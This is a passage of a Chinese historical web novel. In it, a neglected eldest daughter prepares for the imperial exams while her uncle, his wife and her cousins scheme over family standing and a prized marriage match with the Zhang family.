她就是魏兰蕴新的贴身侍婢。
9. 独行的少女(三)
春雁曾见过宅子里娘子们的贴身侍婢。
她们穿着京里时兴的丝缎子,手上戴着主子们年节赏下的玉镯子,头上用的桂花油是一贯钱一瓶的,而擦脸的香粉是特意托人去丹州买的,路上一来一回给人的捎带花费,就抵得上普通粗使丫鬟半个月的工钱了。
那些普通的三房娘子们的贴身侍婢尚且如此。
那么大房的嫡长大娘子呢?
大娘子可是大老爷的第一个孩子,是在三房面前也可以横行霸道的女孩子,是哪怕娇蛮纨绔,毫无礼节地去别人家里玩闹了一场,三老爷都得娇哄着的女孩子。
各院的大丫鬟们为了抢这个位置闹翻了天。
她的贴身侍婢。
一定是府里数一数二的好位置。
春雁殷勤地搀扶着魏兰蕴。
这个窈窕的娘子似乎虚弱极了,走起路来有如弱柳扶风,高门里的女儿家多是养成这个样子,这并不足为奇。
只是令春雁奇怪的是。
这样柔弱的娘子,是怎么在旁人家里大大地玩闹了一场,玩得衣裙上俱是泥水点子的?
不过这疑问仅在脑海中闪过一瞬。
很快,春雁便被院子里的楼阁亭台吸引去了目光。
她从未见过这般好看的屋舍房子。
这很快就是她住的地方了。
春雁欣喜若狂。
魏三老爷在前头走着,他没有与魏兰蕴说话,也丝毫没有等魏兰蕴的意思,他大步向前走着,直到消失在垂花门的转角处。
转角处有一栋精致的小楼,瓦是琉璃瓦,墙是红砖墙。
这就是大娘子住的地方吗?
春雁感叹着。
真是奢华。
她扶着魏兰蕴朝着小楼走去。
却被后头跟着的小厮急急忙忙拦住。
春雁怒斥小厮:“大娘子你也敢拦?瞎了你的狗眼了吗!”
可是小厮并不怕她。
小厮的表情耐人寻味极了,他指着楼后的一条小路,说道:“大娘子的屋子,在那边。”
说着,小厮在前引路,带着春雁向前走。
这是一条异常偏僻的小路,春雁从不知道魏家还有这样一个地方,她仔细扶着魏兰蕴从这里走过,这条路已经许久没有人走过了,杂草长得高高的,已经没过了行人的足。
为什么大房的大娘子要住在这么偏僻的地方?
难道是她嫌弃三房是乡下人?亦或者是她不喜欢见人,所以强逼着三房给她在隐蔽处修了一间豪华的房舍?
看着春雁毕恭毕敬的举动,小厮愈发忍不住笑,他一直走到了小路的尽头。
这里有一间茅草混着泥土搭出来的房子,屋顶加盖了一层最廉价的灰瓦,瓦片上已经出现了细碎的裂痕。
房舍里面异常空旷,只有略微几件家具摆在这里,有张椅子的腿被虫子蛀坏了,春雁一推,这椅子便折了一边的腿,摔在地上砸得粉碎。
昨日下过一场大雨,陈旧的地板上,聚了浅浅的一摊水洼。
春雁在水洼上看见自己不可置信的脸。
“这里是……下人房?”
她错愕地看着小厮。
小厮却再也憋不住了,他笑出了声来,他说——
“这里不是下人房,这里就是……大娘子的住所。”
-
魏三老爷走进三夫人的院子时,正巧碰见魏四娘从三夫人的房间里出来。
这是庶出的四娘子,而非夫人亲生的嫡出的五娘子,庶出的孩子终究是比嫡出的懂事的多些,魏四娘见了父亲,便乖巧地退避在一旁,深深施了一礼。
她唤:“父亲。”
三老爷并未过多言语,他只轻轻点头,算是应答上了这礼,之后便略过了魏四娘,径直推开了三夫人的房门。
没有通传没有预料的推门声响起,把三夫人吓了一跳。
三夫人刚想发怒训斥,抬眼却看清楚来人,立即扮上一副楚楚可怜的样子,她一早卸下了钗环首饰,身着一身素衣,胭脂也卸掉了,只留了薄薄的一层香粉,最是楚楚动人。
魏三夫人瑟瑟不敢出声,哀哀端了一杯茶过来,跪下请罪。
虽说事情已经解决了,但这荒谬的、虚妄的、差点闯下大祸的事情,毕竟是由她而起。
而且正如同方才魏四娘说的一样。
“先前父亲只看见了这件事的后果,所思所想都是这件事如何处理,而待这件事解决之后,父亲便会意识到这件事皆由夫人您的侄儿子所起,这件事的本质就是,您用大伯父的女儿,去救自己娘家大哥的儿子,父亲有多痛恶您帮扶娘家您也知道,等父亲想到了这层,他该有多愤怒,想必夫人您也明白。”
而平息一个老爷的怒火,无非是摇尾乞怜,痛哭请罪。
多少年来,三夫人都是这般撒泼卖痴地为自己的娘家争钱夺利,这一次也不例外。
只是这一次,似乎有些不同。
魏三老爷接过了三夫人的茶,一饮而尽。
舟车劳顿着去了一趟清水潭,进了徐家连坐都没有坐一下,接了人便往回赶,出门的时候匆忙,车里并未备下茶水,魏三老爷早就渴极了,他喝完一杯仍觉不够,自己拎了茶壶续上,直到牛饮了三杯,他才停下。
魏三老爷看向魏三夫人,面色既没有怒意,也没有喜意,他平静无波地打量着魏三夫人,就像权衡打量着一个物品,看得魏三夫人心里发毛。
“老爷……”魏三夫人哀哀唤道。
魏三老爷没有说话,他静静望着魏三夫人,似是在等候她的下文。
见三老爷如此,魏三夫人心里慌极了,她硬着头皮继续说道:“老爷我……”
“你那个侄儿子,叫什么来着?”
魏三老爷并不想听她继续说下去,他将茶杯重重地放在桌面上,冷声询问道。
“陈升……”
魏三夫人连忙答道。
魏三老爷忽而又没有心情去了解这个人的名字,他打断了魏三夫人,又问了别的事情。
“他救出来了吗?”
“还没有……”魏三夫人咬唇,楚楚望着三老爷,这便是三夫人急迫地想要求得三老爷谅解的地方,她的侄子还尚未救出来,而她与徐家商议好的约定,早已经不复存在了,“徐家说,大姐儿葬下了,才将升荣放出来……”
“既如此,你也便不要想着去救他……”
“可他毕竟是我大哥唯一的儿子啊!”魏三夫人下意识打断了三老爷,话脱口而出了才感到自己失言,她委屈地低语,为自己辩解,“老爷您也知道,我那大哥早亡,只留下了这一个儿子,我从小将他看到大……”
“行了。”魏三老爷嫌恶地看了三夫人一眼,挥了挥手,“多少年了,你那侄儿子争伎、作赌、惊扰在室闺阁女……犯了这么多事情,每次一出事你就拿出这套说辞来,也不变个样子,来来回回就这几句话,我耳朵都要起茧子了。”
“可是……”
“没有什么可是!”魏三老爷话音一转,“这一次的事情,不一样。”
“他这次犯下的,并不是什么口角之争,也不是什么街坊巷尾里糊弄两句就能揭过的事情,他是科举作了弊,他是在丹州府的考场里面,亲自被提学官孙大人抓了,押在诏狱里面,折子上写了奏报呈到了陛下面前去的!陛下方发大诰,现在多少双眼睛都盯着科考场上这点事,他自己作死,撞到陛下的耳朵里,这件事谁能顺利把它揭过去?”
“你以为徐老二的夫人能救你的侄儿子?做梦去吧!昨夜之前,徐老二根本就不知道这件事,那蠢妇凭什么能救你的儿子?是凭她那个破落的,已经与他们长房嫡脉出了三服的娘家吗?更何况这件事就算是徐老二去管,他也不能将你的侄儿子全须全尾地救出来,你还想让我救?还想让大哥救?大哥现在可是入阁的关键时期……”
魏三老爷压低了声音,心头已经有了隐隐的怒气。
他的大哥,去岁被万岁钦点进了文华殿,就任文华殿大学士。
梁朝历代任文华殿大学士的,就没有简单的角色,不论从前远的南陵诗祖、太安伯爷,就说现在的首辅刘敬平,他入阁之前,就是在文华殿大学士这个位置上。
他的大哥是要入阁的人物啊!
怎么可以在这样的关键时期,因为这样的烂泥,拦了大哥的青云之路呢?
“……事情的好坏我已经跟你说明白了,如果你非要为了你大哥的儿子,不要我们阖家的前程,不要你儿子的前程,那你就尽管去做,我不拦你,百年之后你的子孙恨你入骨,挫你的骨扬你的灰那也是你自己的事情,我也不管你。”
“可是升荣是我们陈家唯一的血脉了……”
魏三夫人却仍不死心,她低低地说了一句。
魏三老爷狠狠将茶杯摔在地上,窗外有影子在跳跃。
“我跟你说了这么多,你是一句话都没听进去吗?”
“你们陈家?你嫁来我魏家小二十年,到现在,你还认为是‘你们陈家’?既然如此,那你就回你们陈家去!”
魏三老爷说着,镇纸一挥便提笔。
见宣纸上落下“休书”二字,魏三夫人眼见地慌乱了起来。
她吓得涕泗横流,猛地扑上去抱住魏三老爷的腿。
“老爷!老爷不能啊老爷!”她也不管声音是否传到屋外去,她放肆地哭喊,“我再也不管娘家了,我不管了,老爷,六郎才五岁,他不能没有母亲啊老爷!”
魏三夫人哭着,发誓的赌咒的话一骨碌地往外冒着,她再也没有了往日养尊处优的仪态,在地上不住地磕头,仿若一个疯妇。
魏三老爷停了笔,冷漠地看着她。
笔尖的墨汁子滴在了纸面上,晕出一团圆圆的墨迹。
也不知道三夫人哭了多久,直到魏三老爷看够了,看烦了,厌倦了,他才将笔往桌面上一丢,悠悠地问她:“你知道自己错在哪了?”
“知道了。”魏三夫人止不住地点头,她哭着说道,“我再也不会提升荣这回事了”
“既如此,便还留你在魏家待几日罢了。”
一句轻飘飘的话语扔出去,仿若恩赐,换来了接下来魏三夫人不住地磕头答谢。
魏三老爷很享受这种感觉。
他喜欢这样在外面高贵的、说一不二的女人,在他面前摇尾乞怜蠖屈鼠伏的样子,他随意的一句话,就能换来这帮女人绞尽脑汁的揣摩,他随意丢下的东西,哪怕是一句轻飘飘的话语,都能换来这些女人的感恩戴德。
多好。
这样的感觉,是他在外面、在官场、在同僚之间,永远感受不到的。
魏三老爷才不会休弃三夫人出去呢。
毕竟,这个女人与其他的妾室还是略有不同的。
至少她生下
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了他唯一的儿子。
那可是他魏叔礼的独苗,百年之后,要给他扫墓添香的唯一后代。
魏三老爷还指望这样一个儿子,步他长兄的后尘,也于科考场上有一番作为,他日登阁拜相,也为他修表作铭。
他怎么会让自己唯一的儿子,有一个被品行不端被休弃出门的母亲呢?
这也就是为什么他会放下耐心,跟三夫人一点一点讲述事情利弊的原因。
女人就是愚蠢的。
她根本想不到这一点。
魏三老爷忽而想到了他那个最蠢的妾室。
那是他新买来的一个,从扬州来的瘦马,大字不识一个,身段却尤为玲珑,耳鬓厮磨之间,她身上还有着幽幽的茉莉香气。
魏三老爷只觉心头一热。
然后望着糟糠之妻的目光逐渐变得烦躁。
“若是下回再让我发现,你与你的娘家还有联系,那你就回家去,莫要再做我魏家的人。”
魏三老爷再冷声丢下一句话,抬腿就往外走去。
他已经等不及了。
“老爷……”魏三夫人犹豫地叫了一句。
“又怎么了?”魏三老爷转头,此时他的怒意已经到达了顶峰。
“那大姐儿……”魏三夫人犹豫地道,“大姐儿不日就要下场了,万一她……”
魏三夫人丝毫不担心魏兰蕴会向自己的亲生父亲告状。
毕竟魏大老爷这十五年来对待魏兰蕴的态度,众人都有目共睹。
最让魏三夫人担心的,是那县报上的字,是魏兰蕴要下场应考这件事。
如果她考中了,当官了,她会不会想起在魏家受到的凌辱,她会不会想起自己这个三叔母曾经把她当作猪狗一样卖出去,她会不会怀恨在心?她会不会报复?
就这样把魏兰蕴接回来,让她顺顺利利去应考。
这让魏三夫人害怕极了。
“就凭她?”
魏三老爷觉得荒谬极了。
正如他觉得大诰只是一张擦屁股的废纸一样。
哪怕这份大诰是全天下最尊贵的人亲笔写下的。
魏三老爷还是觉得,这上面的字荒诞不堪。
女人是不可能考得中功名的。
她们愚昧,她们笨拙,她们斤斤计较,她们最爱斗口角。
他这个院子里的女人都是这样,为了一根钗子、一块茶饼,就可以闹上个三天三夜,书没读过几本,字儿识不了几个,每天就钻营着自己夺了这个人一分,那个人又夺了自己三分,今日老爷宿在她房里,明日我要抢过来这般的事情。
魏三老爷想象不出,这个院子里的女人登阁拜相的样子。
“你们这些女人,只看个话本子,左一个本子考状元,又一个本子中探花,看话本里的状元榜眼多如牛毛,就真以为这科举场容易考?”
“她要考科举,首先便是县试,先不说她是否能找到五考生并一位廪生作保,但论考试,就一个小小的县试,她便要过正场、初复、再复、连复四场,只有四场都过了,她才仅仅只能算作一个‘童生’。”
“童生算什么?什么都没有,免不了税,拿不了田地,没有米粮银子,更别说点卯当官去了。”
魏三老爷也考过,他深切地知道科考过来的一路艰辛,他苦读了这么多年,来来回回进了衙门礼房四五六次,方才拿到了一个童生的功名。
“多少人苦读至七八十岁仍是童生,从不尝进过贡院学庙,十日之后便是县试开场,书经九册一百二十卷,就连父亲,都没办法在十日内通读这些书卷,而她——只是区区一个的女子。”
“可万一……”
魏三夫人还是担心。
毕竟鞭子打在谁的身上谁痛。
又不是三老爷将魏兰蕴卖了出去,又不是三老爷被魏兰蕴怀恨在心。
“没有这种万一。”魏三老爷冷哼,“我也不会让她有这种万一。”
正如同徐二老爷让小厮送出了那封去往丹州府的信一般,魏三老爷也早有打算。
虽然魏三老爷从不认为魏兰蕴可以凭自己考中功名,但是总要防着别人、防着她、防着这件事情,在不经意的时候给他来上狠狠一刀。
这场关乎着一个人的人生命运的考试,早就不是一场单纯的考试,考试的考官、监临官、贡举官、提调官哪怕是抄录官都是人,都是正常的有兄弟有妻子有朋友有同僚的人。
人与人之间的关系是错综复杂盘根错节的。
魏三老爷不能保上一个人必然考中。
但他能保上一个人一定考不中。
-
屋外下起了雨。
淅淅沥沥的小雨是随着晚霞一起落下的,天光和水的交界处涌出了一道彩虹。
魏四娘走出了三夫人的院子。
随行的婢女候在院外,她打着伞,一路小跑到魏四娘身边,双手高举着伞没过四娘的头顶,而婢女自己则站在雨下,任由雨水打湿她的鬓发衣衫。
魏家的花园修的很好。
亭台假山兼着苍松翠柏,平白藏几个人进去,要找出来是要费点功夫的事儿。
魏四娘只安排了三两个仆从躲在这里,便轻而易举地造成了人言籍籍的样子,她那个愚蠢冷漠的父亲,还以为魏兰蕴被发卖的事情传遍了阖府,急急地便去找三夫人算账。
这真是……可笑极了。
10. 独行的少女(四)
是的。
魏兰蕴被配作冥婚的消息,是魏四娘传给魏三老爷的。
同样,将魏兰蕴送出去配作冥婚,也是魏四娘劝说魏三夫人的。
而她之所以这么做,是因为她看见了一封从京里寄来的信。
信是魏家的大老爷亲笔写下的。
他在信中提及元夕天子赐宴,他与燮州张滦一见如故,魏大老爷洋洋洒洒用半页纸的篇幅,盛赞其品行如何之高洁、道德如何之高尚,他说他极为看重这位张家三郎,并且他说——
他视其若亲子,爱其胜郎婿。
这意思其实不言而喻。
魏四娘知道这位张家三郎在文坛的声名地位。
她也知道燮州张家在江南的声名地位。
魏四娘要这桩婚事。
信寄来了银湾,这意味着这桩婚事可供挑选的新娘只在银湾。
那便只有三个。
她、魏三夫人亲生的五娘子以及……魏兰蕴。
魏四娘先是将徐二夫人在寻冥婚女子的消息,透露给了魏三夫人,然后不经意间借管事们的嘴,告诉了魏三夫人,徐二夫人的身份地位足以救出她那被下了大狱的侄子。
最后魏四娘看着魏三夫人搭桥铺路。
将她的竞争对手魏兰蕴送了出去。
魏四娘掐着点选在了魏兰蕴下葬的第二天早上。
她安排了仆从,躲在魏三老爷必经的道路上,营造出耳目昭彰的样子,将魏兰蕴的消息,借由仆从们议论纷纷的嘴,零零碎碎地传到三老爷的耳朵里。
她让三老爷以为这件事情阖府都知道了,她让三老爷以为这件事已经很难被轻易按下去,她让三老爷知道这件事是足以影响到他大哥仕途的大事,然后——
让三老爷自己去找三夫人,去问她的罪。
这样魏四娘又轻而易举地去掉了一个竞争对手。
一箭双雕。
可是令她没想到的是——
魏兰蕴没有死。
她不但没死,还顺利地回了家,她不但顺利地回了家,这件事情还被顺利地压了下来,就像一阵风一样,轻飘飘吹了过去,就好像什么也没有发生。
没有任何后果,这件事便根本无法撼动魏三夫人的地位,那么自然也无法撼动魏三夫人亲生的五娘子的地位。
她筹谋多日设下的一箭双雕的局,竟一个人也没有除掉。
魏四娘低着头在花圃里走着,思绪百转千回。
她摩挲着衣角,袖口的针脚密密麻麻的,俨然已经缝补多次了。
花圃西边的廊下搭了一排庑房。
这是府里的管事们休息的处所。
有个丫鬟,忽的从一条杂草丛生的小路里走出来。
丫鬟直挺挺地走进了庑房,脸上是难掩的怒容。
魏四娘忽的笑了。
不过还好。
她的处境尚不算差。
她还有时间。
设下另外一个一箭双雕的局。
-
魏大老爷已经走了很远了。
魏三夫人泪眼垂垂地望着魏三老爷的背影,直到那个背影彻底消失在她的视线里,她才搀扶着仆从的臂膀,缓缓坐起来。
婆子给她端了一杯姜茶。
魏三夫人一饮而尽。
她的涕泪已经抹去了,脸上再也看不出悔恨懊恼的痕迹。
魏三夫人很清楚三老爷不会把她休弃出去。
同床共枕近二十年,魏三夫人比魏三老爷自己还要清楚他的为人,魏三夫人深切地明白三老爷重视自己的后代远远胜过一切,他在心里无比地妒忌自己的大哥,所以他最为期盼的就是他能生下一个如大哥一般的儿子,登阁拜相,平步青云,也让他尝一尝一人之下万人之上的滋味儿。
所以,这样的他,哪怕是魏兰蕴今天真的死在了徐家,他也不会、他也不敢将自己休弃出门,因为他不舍得让他独子的人生沾上半分污点。
只是这个人也同样重视他的面子,重视他那种高高在上的感觉。
哪怕是魏三夫人清楚的知道这个人不会把她怎么样,她也要把这场戏做到位,从痛苦到流涕到哀求到叩首,最后再到他如同君临一般的恩赐的谅解,要将他哄得开心,哄得以为自己目贵明耳贵聪心贵智(注1),这样方才快意。
年复一年,每一次都是这样的流程,从未改变过。
魏三夫人已经习惯了。
她倚在软塌上,四个丫鬟跪在她身旁,替她揉肩捶腿。
“去库房里取些银子来,叫人去丹州府探一探路,拿着大哥的帖子去,先把升荣从牢里换出来。”
魏三夫人吩咐着,就像吩咐平常中馈琐事一般。
魏三老爷从未改变过。
魏三夫人也是。
-
这是魏家最小最陈旧的阁楼。
其实这也不是一间阁楼。
它更像是一个小小的院落。
三丈宽的正堂上加盖了一层阁屋,屋子里边用梨花儿木打了一排架子床,箱笼柜匣整齐地堆放在屋子的一角,这从前是家里女孩子们的闺房。
正堂左右配着东西两个厢房,东厢房是给家里的主人住的,用的料是家里最好的,不过后来魏家修整院墙的时候,把整个东厢房都推倒了。
西边的厢房分为了三间,是给家里的三个儿子住的。
大儿子后来考中了进士,是第一个离开这间房子的人;二儿子久考不中,后来干脆游历四方,去做了个风流诗人,他是第二个离开这间房子的人;而三儿子留在了这里,他靠着大哥荫补了官儿做,将这座宅子越修越大,直到成为银湾里数一数二的好宅邸。
这个小院子还保留着那个妇人的痕迹。
她住在大儿子的房子里,但是大儿子看不上她。
大儿子以专心科考为由,长年来让她睡在厢房窗户下的矮榻上。
那是小小的一张矮榻,不到一尺宽,这是连一个小女童都要蜷缩着睡下的矮榻,而那个妇人在这张榻上睡了五年。
她是一个极为特殊的妇人。
近乎与经史子集里常描述的德言工貌大相径庭。
她杀猪。
她是一个屠户女。
她可以面不改色地扎进生猪的动脉,可以为了一个好摊位与膘肥体壮的男人争吵,她的身形是她丈夫的两倍,她孔武有力,粗壮的臂膀甚至可以拔山扛鼎。
她拿着一把杀猪刀,扛起了这个衰败的家族的脊梁。
她一刀一刀,在正院上盖起了阁楼,将厢房加到了三间,茅草顶儿换了砖瓦。
她一刀一刀,给丈夫买来笔墨换来纸砚,送他赶考,再送他金榜题名。
然后她死了。
草草地下了葬。
这个家里所有靠她供养的人都不在意她。
所有人都往前走着。
只留了她那小小的可怜的女儿在这里自生自灭。
魏兰蕴还带着那顶帷帽。
她跪坐在蒲编的草垫上,素白的纱罗垂在地上,手侧的泥炉煮着一锅酽茶。
茶锅里面加了满满的盐沫和橘皮,在烧红的炭火上发出咕噜咕噜的声音,朦胧的水气儿带着陈旧而苦涩的橘柑气息袅袅升起,整个阁楼都好像浸在了茶里。
魏兰蕴手里翻动着一卷书页。
这本在旧厢房里翻出来的书卷,是从前给魏家小公子们启蒙识字用的,书卷一页分列了六个斗大的字儿,粗糙地用棉线串了起来。
书放了许久了,潮湿黏腻的,翻动时还能碾出纸张里的灰粒。
魏兰蕴从没见过梁国的文字。
她仔细地看着这本书,近乎一笔一划地抚摸着上面的文字,一晌翻过一页。
她真的能考中吗?
春雁透过窗户悄悄打量着魏兰蕴。
她不认识字,也不知道科考里边要考些什么,春雁只知道隔壁院子里应考县试的小童,可以将摞起来有半人高的书籍倒背如流,而这个娘子,单看一本不若一指厚的蒙书,似乎就已经足够吃力。
春雁挎着篮子走进了阁楼。
阁楼下的扶梯年久未修了,春雁每走一步,木榫与木卯之间便发出一声咯吱的响音,魏家的宅子里是少有这样的响声的,从刚开始的一无所知到现在,春雁已经全然探悉出了,这个在魏家宅子里隐秘却又人尽皆知的故事。
成为魏大娘子的贴身侍婢,并不是天上掉下来的馅饼。
当春雁意识到,她从这个馅饼里咬了一嘴的石头子的时候,她怒气冲冲地跑去花圃西
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廊下的庑房,去找那个拿钱办事的管事算这笔账。
管事并不想退还她的银锞,他竭力地安慰着春雁。
他说,这毕竟是大老爷的亲生女儿,若是有朝一日大老爷想起这个女儿,想尽舐犊之情,春雁便能随着她一飞冲天;
他又说,大娘子是要去考科举的娘子,相公老爷们都是科考场上考出来的,若是大娘子考中了,她便是女老爷女相公,春雁也能随着她一飞升天。
他说这个茅茨土阶破烂屋,亦是一步登天青云路,他说得好似胸蟠万卷纡筹策,口说六义如贯珠(注2)。
管事舌灿莲花,但春雁并不认可。
现在是现在,未来是未来。
现在这就是一个茅茨土阶破烂屋,那么管事就别想把这个卖成一步登天青云路。
她春雁六岁开始走南闯北走街串巷,她住过破庙也到过繁楼,跑堂的卖酒的就连码头搬货的脚夫她都做过,没人可以从她手里骗走一个铜板子,更别说一个银锞子。
哪怕是巴掌大儿的头领,屁股底下也没有清清白白的,她春雁光脚的不怕穿鞋的,要是管事不把这颗银子退给她,她就要看看她与管事谁跟豁得出去些。
管事才不敢豁出去。
因此银锞子又回了她的袖袋子。
不过她也实实在在地得罪了管事。
这个在三夫人面前极为得脸的管事,管着府里三等以下奴仆的调配调用,若是春雁想从那个破烂屋里出来,少不得要经过这个人。
不过没有关系。
春雁将食篮放在了小几上。
魏兰蕴抚摸着书上的文字,连头都没有抬起一下。
春雁颠了颠袖袋的重量。
她的左手袖袋里面,两粒锞子碰撞出清脆的响声,一颗是银打的锞子,另一颗也是。
-
夜已经很深了。
叶结霜雾,草衔冻露,静默的星辰劈开浓重的雾气在夜空泄出辉光一抹,光跌落进银湾的水里,和浮冰碎玉撞了个满怀,风都没有了声音。
街巷是一片寂静的,万家烛火都隐没在了夜里。
唯有那幢酒楼灯火通明。
骰子声、筹子声、丸子声在弥了酒气的楼里浊成一团,那些儿郎们似乎都有些醉了,摇摇晃晃地走着,忽而又栽成一团。
秦王孙老早就困了,占了窗边的那张紫檀的软塌裹着被子就睡了起来,四楼静悄悄的。
楼底下那砰砰的声音停了。
不知道是什么时候停下来的,但那个磕头的人却还在。
他就这样僵直地跪在原地,头磕在地上,手抚在额头两侧,身子弯成一个拱桥的弧度,没人看得见他的脸。
还是害怕吗?
哪怕宁都王世子并着崔家一行人已经离开多时了,还是害怕以致大拜俯至地上,不敢随意动弹甚至离去吗?
真是个怂货。
有个绿袍子的郎君眯着眼睛看着朱六郎,他不屑地瞥了他一眼,嗤笑出声,酒气夹杂着对有隙之人倒霉的快意奔上心头,绿袍郎君并不多想,他端着一杯美酒便走上了前去。
他看着了朱六郎,足底下对着朱六郎的脑袋便是狠狠的一踩。
人歪了过去,酒洒了出来。
绿袍郎君跌跌撞撞地扶正身体,嘴里止不住地喊着:“对不住,对不住,一时酒醉,看岔了路,对不住,对不住。”
儿郎们都是醉倦的。
没人注意这儿的插曲。
没有人出声。
那被踩的人也没有。
绿袍郎君得意地回过头看去。
朱六郎还是俯在地上,他没有动,唯有一颗头颅在绿袍郎的踩踏之下向左偏了三分,头颅之下,是已经干涸至乌黑的血迹。
绿袍郎似犹疑般探向了朱六郎的脉搏。
“啊——”
一声撕裂般的惨叫声仿若公鸡啼鸣叫醒了整幢酒楼。
铁甲护卫保护着王孙匆匆离开了酒楼,从酒楼四窜而出的儿郎们打着火把,在漆黑的夜里就如同潮水一样四处涌去。
先遣的侍卫敲开了宁都王邸,崔九郎来不及合衣披着外袍便推开了宁都王世子的寝门。
“十一郎。”崔九郎说,“丹州朱衡——”
“死了。”
11. 有雁去信(一)
县衙里迎来了一位贵客。
燮州府张家的大夫人抵达了银湾。
她在县衙整顿歇息了两日之后,并未急着去魏家拜访,而是令县尊夫人王季氏做东,邀魏三夫人魏陈氏作陪,先是挑拣了几个银湾风景绝胜之地赏玩,再遍邀银湾玉溪等地名门设宴作谈。
直到确信上阳魏家的品行端正,魏家的当家夫人进退合宜。
张大夫人这才拿着名帖叩响了魏宅的大门。
她叩门所为何事两家皆心知肚明。
就在两位夫人寒暄尔后,魏三夫人令人将魏五娘子唤了来。
“这是我头生的女儿,咱家太爷的第五个孙女儿,出生的时候是个冬天,那时候上阳的家里开了满院的梅花,我家太爷便取了‘袭九英之曜精兮,佩瑶光以发微(注1)’中的两个字,唤做九英。”
魏三夫人不紧不慢地介绍道。
魏九英是早已装扮好候在后头的。
就在传唤不过半刻钟的时候,魏九英便抱着狸奴进了堂内。
她穿着天青色绣红梅花的襦裙,配着素白的袄子,外裹了一袭红斗篷,裙袄斗篷皆滚了一圈毛边儿,头发梳成双髻,绕了两根鎏金的红绳子,看上去娇俏可爱极了。
“小女魏五,见过张大夫人。”
魏九英俯身施了一礼,声音婉婉若黄鹂。
狸奴从她怀里跳出来,落在张大夫人手边的凭几上。
张大夫人是极喜欢狸奴的,魏九英的这只尤为的白胖可爱,张大夫人忍不住上手逗弄了起来。
狸奴亲人极了,露着软软的肚皮打着咕噜撒娇。
张大夫人喜欢极了。
“你也喜欢养狸奴吗?”张大夫人问道。
“母亲严厉,小女平日要完成三个时辰的课业,才能换得与狸奴玩上一小会儿,小女爱极了这只猫,奈何陪伴的时候不多,猫儿看来更喜欢大夫人些,它同小女在一起时,可没这么乖巧。”
魏九英乖巧颔首,看上去羞涩极了。
她近乎把头埋进了斗篷里面,斗篷里面仆妇给她绣的字儿小极了,她险些没看得清楚,幸好前两日魏三夫人强押着她把词儿背下来,她这才不至于露怯。
“魏夫人看上去温柔若水一般,私下里这么严厉?”张大夫人打趣道,“当着我一个外人的面儿,你家女儿都这样说你,三夫人在家中看来有着河东狮之名啊。”
“小女孩子说话没遮没拦的,哪就有了?还不是看着大夫人亲厚,未来又是一家人,想到什么就一股脑儿说了出来。”魏三夫人忙嗔道,说完却又感觉有些不妥,又添补了两句,“她左不过天资不行,比不过三郎那般聪颖,只能靠勤奋来抵罢了。”
“三郎……”张大夫人含笑望着魏三夫人,眼神是极为骄傲和自豪的,她顿了顿,不紧不慢地说道,“三郎确实天资聪颖,日后你家女儿嫁了过来,也可让三郎指点一二。”
这话就算是定下来了。
魏三夫人的笑意愈发浓郁了起来。
狸奴从桌上跳下去,躲在角落里玩耍。
正堂里的香炉袅袅。
就当香块燃尽,婢女端着托盘来换香的时候,墙角里却陡然发出一声尖叫。
堂里的人顺着尖叫望去,还未待魏三夫人看清是什么东西,魏九英便吓得大哭了起来。
“我的狸奴!”
她近乎是朝着墙角扑了过去。
魏三夫人与张大夫人的目光也被吸引了过去。
在廊柱后的花圃下,躺着那只白白胖胖方才还在撒娇的小猫,猫的脑袋是生生被人夹断的,血汪汪地从双目口鼻里渗出来。
“是谁干的,究竟是谁干的?”
魏九英气极了,她怒吼着,声音再不若黄鹂般婉转。
她提了墙角修剪枝干的剪刀,大步朝外走出去。
“老董头在哪里?今儿给我把这里围住了,我倒要看看是谁干的,给我夹烂这个人的脑袋!”
魏三夫人面色僵硬了。
她甚至连叫都叫不住魏九英。
她的这个女儿就是这样,平日最喜欢舞刀弄棒的,没半点的温婉的小女孩儿样,今日好说歹说让魏九英装一下,可是狸奴死了。
这是魏九英平日里最宝贝的狸奴。
她可以一日不吃饭,钻进厨房里做狸奴最爱的饭;她也可以一日不睡觉,在后院里种狸奴最喜欢的草,曾经三老爷威胁她,说要将她的狸奴关起来,不让她碰,她便也把自己关起来,几日几夜地不吃饭,哪怕饿得脱相了,也没有退让半分。
到底是谁杀了她的狸奴?
魏三夫人气的攥紧了拳头。
是谁碰巧就在她相看夫婿的时候,在明知她最宝贝这只猫的前提下,故意当着她的面,送上了这只猫的尸体?
魏三夫人想夹烂这个人的脑袋。
“大夫人,家门管束不严,竟有恶奴如此,让夫人看笑话了,真是惶愧奚如,尚望夫人海涵,不知纳采之期……”
方才魏三夫人正是与张大夫人商议到此处,骤然间被打断了,显然今日是议不成了,只是魏三夫人还想再争取一下,赶紧把婚事定下来,免得夜长梦多。
张家三郎是多好的夫婿。
魏九英这个傻孩子,根本不知道张三郎的好处,也不知道女人找一个好夫婿的好处,成天混不上心的,如若不是她压着迫着,她甚至今日根本不会来。
若是她在懂事些就好了。
魏三夫人哀叹。
不过是一只猫而已。
“出了这般的事情,商议这个也不吉利,我看不如改期吧。”
张大夫人拒绝了魏三夫人,她的脸色也不好看。
她最爱的就是狸奴,虽然这只不是自己养的,但也乖巧可爱,上一刻还在自己怀里撒娇的小猫,下一刻就惨死在自己面前,张大夫人心头也不大舒服。
她不由得多添了一句话。
“这般的恶奴,就应该押到衙门去,乱棍打死。”
魏三夫人颔首,思绪却已飘到别处去。
如若不定下婚事,那么现在的所有发生的一切皆是家丑,应当请张大夫人离开才好,但现在看来,张大夫人并没有这个意思,如若她贸然提出请走大夫人,未免太失礼了些,显得像是赶人走一样,而更重要的是——
这像是在掩盖这场家丑背后的故事。
魏三夫人大抵能猜到是谁做的。
谁想要张三郎。
就是谁做的。
既然如此,那便将这场家丑敞亮地撕开好了。
她的九英不过是粗鲁了些,也总比心思恶毒好,反正魏家与张家是必然要结亲的,到时候矮子里拔高个儿,选的也是她的九英。
董大管家匆匆带了人来围住了正院。
丫鬟小厮一个一个验明正身,看管审问,正当查验一个丫鬟的时候,这丫鬟突然间抖得如筛糠一般,她尖叫一声,扭头就跑。
“拦住她!”董大管家立刻叫道。
小厮们扑了上去,将她压在了地上。
丫鬟的袖子里掉出了一枚胡桃夹子,夹子上血迹斑斑,她吓得哭了起来,连连叫道:“不是我做的!不是我做的!”
魏九英拿着大剪子气势汹汹地走来,魏三夫人与张大夫人也连忙走过来,魏三夫人生怕魏九英一怒之下会做出什么事儿来,连忙把魏九英挡在身后。
“你说不是你做的,那这是什么?”魏三夫人说道。
